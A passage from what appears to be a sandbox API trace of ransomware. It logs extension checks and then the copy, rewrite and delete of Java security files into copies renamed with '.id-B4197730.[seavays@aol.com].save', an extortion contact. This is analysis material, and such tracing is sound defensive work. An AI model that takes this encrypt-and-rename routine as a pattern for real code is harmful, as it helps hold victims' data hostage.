lstrlenW (lpString=".docx") returned 5 [0170.296] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1 [0170.296] lstrlenW (lpString=".pdf") returned 4 [0170.296] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.296] lstrlenW (lpString=".xls") returned 4 [0170.296] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.296] lstrlenW (lpString=".xlsx") returned 5 [0170.296] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1 [0170.296] lstrlenW (lpString=".ppt") returned 4 [0170.296] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.296] lstrlenW (lpString=".zip") returned 4 [0170.296] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.296] lstrlenW (lpString=".rar") returned 4 [0170.296] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.296] lstrlenW (lpString=".bz2") returned 4 [0170.296] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.296] lstrlenW (lpString=".7z") returned 3 [0170.296] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.296] lstrlenW (lpString=".dbf") returned 4 [0170.296] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.296] lstrlenW (lpString=".1cd") returned 4 [0170.296] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.296] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar") returned 45 [0170.296] lstrlenW (lpString=".jpg") returned 4 [0170.297] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.297] lstrcmpiW (lpString1=".0_144\\lib\\security\\blacklist", lpString2=".save") returned -1 [0170.297] lstrlenW (lpString="blacklist") returned 9 [0170.297] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.299] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=4054) returned 1 [0170.299] CloseHandle (hObject=0x548) returned 1 [0170.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 0x20 [0170.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.300] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.300] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.300] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0170.302] GetLastError () returned 0x0 [0170.302] ReadFile (in: hFile=0x548, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0xfd6, lpOverlapped=0x0) returned 1 [0170.304] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xfe0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xfe0, lpOverlapped=0x0) returned 1 [0170.305] ReadFile (in: hFile=0x548, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0170.305] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xe6, lpOverlapped=0x0) returned 1 [0170.305] SetEndOfFile (hFile=0x530) returned 1 [0170.306] CloseHandle (hObject=0x530) returned 1 [0170.306] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.306] SetEndOfFile (hFile=0x548) returned 1 [0170.309] CloseHandle (hObject=0x548) returned 1 [0170.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.310] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklist")) returned 1 [0170.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.310] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.310] lstrlenW (lpString=".doc") returned 4 [0170.310] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0170.310] lstrlenW (lpString=".docx") returned 5 [0170.311] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0170.311] lstrlenW (lpString=".pdf") returned 4 [0170.311] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0170.311] lstrlenW (lpString=".xls") returned 4 [0170.311] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0170.311] lstrlenW (lpString=".xlsx") returned 5 [0170.311] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0170.311] lstrlenW (lpString=".ppt") returned 4 [0170.311] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0170.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.311] lstrlenW (lpString=".zip") returned 4 [0170.311] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0170.311] lstrlenW (lpString=".rar") returned 4 [0170.311] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0170.311] lstrlenW (lpString=".bz2") returned 4 [0170.311] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0170.311] lstrlenW (lpString=".7z") returned 3 [0170.311] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0170.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.311] lstrlenW (lpString=".dbf") returned 4 [0170.311] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0170.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.311] lstrlenW (lpString=".1cd") returned 4 [0170.311] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0170.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.311] lstrlenW (lpString=".jpg") returned 4 [0170.311] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0170.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.311] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.311] lstrlenW (lpString=".doc") returned 4 [0170.311] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0170.312] lstrlenW (lpString=".docx") returned 5 [0170.312] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0170.312] lstrlenW (lpString=".pdf") returned 4 [0170.312] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0170.312] lstrlenW (lpString=".xls") returned 4 [0170.312] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0170.312] lstrlenW (lpString=".xlsx") returned 5 [0170.312] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0170.312] lstrlenW (lpString=".ppt") returned 4 [0170.312] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0170.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.312] lstrlenW (lpString=".zip") returned 4 [0170.312] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0170.312] lstrlenW (lpString=".rar") returned 4 [0170.312] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0170.312] lstrlenW (lpString=".bz2") returned 4 [0170.312] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0170.312] lstrlenW (lpString=".7z") returned 3 [0170.312] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0170.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.312] lstrlenW (lpString=".dbf") returned 4 [0170.312] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0170.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.312] lstrlenW (lpString=".1cd") returned 4 [0170.312] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0170.312] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0170.312] lstrlenW (lpString=".jpg") returned 4 [0170.312] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0170.313] lstrcmpiW (lpString1=".certs", lpString2=".save") returned -1 [0170.313] lstrlenW (lpString="blacklisted.certs") returned 17 [0170.313] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.313] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=1253) returned 1 [0170.313] CloseHandle (hObject=0x548) returned 1 [0170.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0170.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0170.314] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.314] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0170.315] GetLastError () returned 0x0 [0170.315] ReadFile (in: hFile=0x548, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x4e5, lpOverlapped=0x0) returned 1 [0170.530] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x4f0, lpOverlapped=0x0) returned 1 [0170.531] ReadFile (in: hFile=0x548, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0170.532] WriteFile (in: hFile=0x530, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xf6, lpOverlapped=0x0) returned 1 [0170.532] SetEndOfFile (hFile=0x530) returned 1 [0170.532] CloseHandle (hObject=0x530) returned 1 [0170.532] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.532] SetEndOfFile (hFile=0x548) returned 1 [0170.644] CloseHandle (hObject=0x548) returned 1 [0170.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.644] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0170.645] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.645] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.645] lstrlenW (lpString=".doc") returned 4 [0170.645] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0170.645] lstrlenW (lpString=".docx") returned 5 [0170.645] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0170.645] lstrlenW (lpString=".pdf") returned 4 [0170.645] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0170.645] lstrlenW (lpString=".xls") returned 4 [0170.645] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0170.645] lstrlenW (lpString=".xlsx") returned 5 [0170.645] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0170.645] lstrlenW (lpString=".ppt") returned 4 [0170.645] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0170.645] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.645] lstrlenW (lpString=".zip") returned 4 [0170.645] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0170.645] lstrlenW (lpString=".rar") returned 4 [0170.645] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString=".bz2") returned 4 [0170.646] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString=".7z") returned 3 [0170.646] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0170.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.646] lstrlenW (lpString=".dbf") returned 4 [0170.646] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.646] lstrlenW (lpString=".1cd") returned 4 [0170.646] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.646] lstrlenW (lpString=".jpg") returned 4 [0170.646] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.646] lstrlenW (lpString=".doc") returned 4 [0170.646] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString=".docx") returned 5 [0170.646] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0170.646] lstrlenW (lpString=".pdf") returned 4 [0170.646] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString=".xls") returned 4 [0170.646] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString=".xlsx") returned 5 [0170.646] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0170.646] lstrlenW (lpString=".ppt") returned 4 [0170.646] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.646] lstrlenW (lpString=".zip") returned 4 [0170.646] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0170.646] lstrlenW (lpString=".rar") returned 4 [0170.646] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0170.647] lstrlenW (lpString=".bz2") returned 4 [0170.647] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0170.647] lstrlenW (lpString=".7z") returned 3 [0170.647] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0170.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.647] lstrlenW (lpString=".dbf") returned 4 [0170.647] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0170.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.647] lstrlenW (lpString=".1cd") returned 4 [0170.647] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0170.647] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0170.647] lstrlenW (lpString=".jpg") returned 4 [0170.647] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0170.647] lstrcmpiW (lpString1=".security", lpString2=".save") returned 1 [0170.647] lstrlenW (lpString="java.security") returned 13 [0170.647] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.899] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=36524) returned 1 [0170.899] CloseHandle (hObject=0x434) returned 1 [0170.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 0x20 [0170.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.899] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0170.901] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.901] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0170.902] GetLastError () returned 0x0 [0170.902] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x8eac, lpOverlapped=0x0) returned 1 [0170.905] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x8eb0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x8eb0, lpOverlapped=0x0) returned 1 [0170.906] ReadFile (in: hFile=0x434, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0170.907] WriteFile (in: hFile=0x528, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0xee, lpOverlapped=0x0) returned 1 [0170.907] SetEndOfFile (hFile=0x528) returned 1 [0170.907] CloseHandle (hObject=0x528) returned 1 [0170.907] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0170.907] SetEndOfFile (hFile=0x434) returned 1 [0170.911] CloseHandle (hObject=0x434) returned 1 [0170.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.912] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0170.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.912] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.912] lstrlenW (lpString=".doc") returned 4 [0170.912] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0170.912] lstrlenW (lpString=".docx") returned 5 [0170.913] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0170.913] lstrlenW (lpString=".pdf") returned 4 [0170.913] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString=".xls") returned 4 [0170.913] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString=".xlsx") returned 5 [0170.913] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0170.913] lstrlenW (lpString=".ppt") returned 4 [0170.913] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.913] lstrlenW (lpString=".zip") returned 4 [0170.913] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString=".rar") returned 4 [0170.913] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString=".bz2") returned 4 [0170.913] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString=".7z") returned 3 [0170.913] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0170.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.913] lstrlenW (lpString=".dbf") returned 4 [0170.913] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.913] lstrlenW (lpString=".1cd") returned 4 [0170.913] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.913] lstrlenW (lpString=".jpg") returned 4 [0170.913] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.913] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.913] lstrlenW (lpString=".doc") returned 4 [0170.913] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0170.913] lstrlenW (lpString=".docx") returned 5 [0170.914] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0170.914] lstrlenW (lpString=".pdf") returned 4 [0170.914] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0170.914] lstrlenW (lpString=".xls") returned 4 [0170.914] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0170.914] lstrlenW (lpString=".xlsx") returned 5 [0170.914] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0170.914] lstrlenW (lpString=".ppt") returned 4 [0170.914] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0170.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.914] lstrlenW (lpString=".zip") returned 4 [0170.914] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0170.914] lstrlenW (lpString=".rar") returned 4 [0170.914] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0170.914] lstrlenW (lpString=".bz2") returned 4 [0170.914] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0170.914] lstrlenW (lpString=".7z") returned 3 [0170.914] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0170.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.914] lstrlenW (lpString=".dbf") returned 4 [0170.914] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0170.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.914] lstrlenW (lpString=".1cd") returned 4 [0170.914] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0170.914] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0170.914] lstrlenW (lpString=".jpg") returned 4 [0170.914] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0170.914] lstrcmpiW (lpString1=".libraries", lpString2=".save") returned -1 [0170.915] lstrlenW (lpString="trusted.libraries") returned 17 [0170.915] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\trusted.libraries" 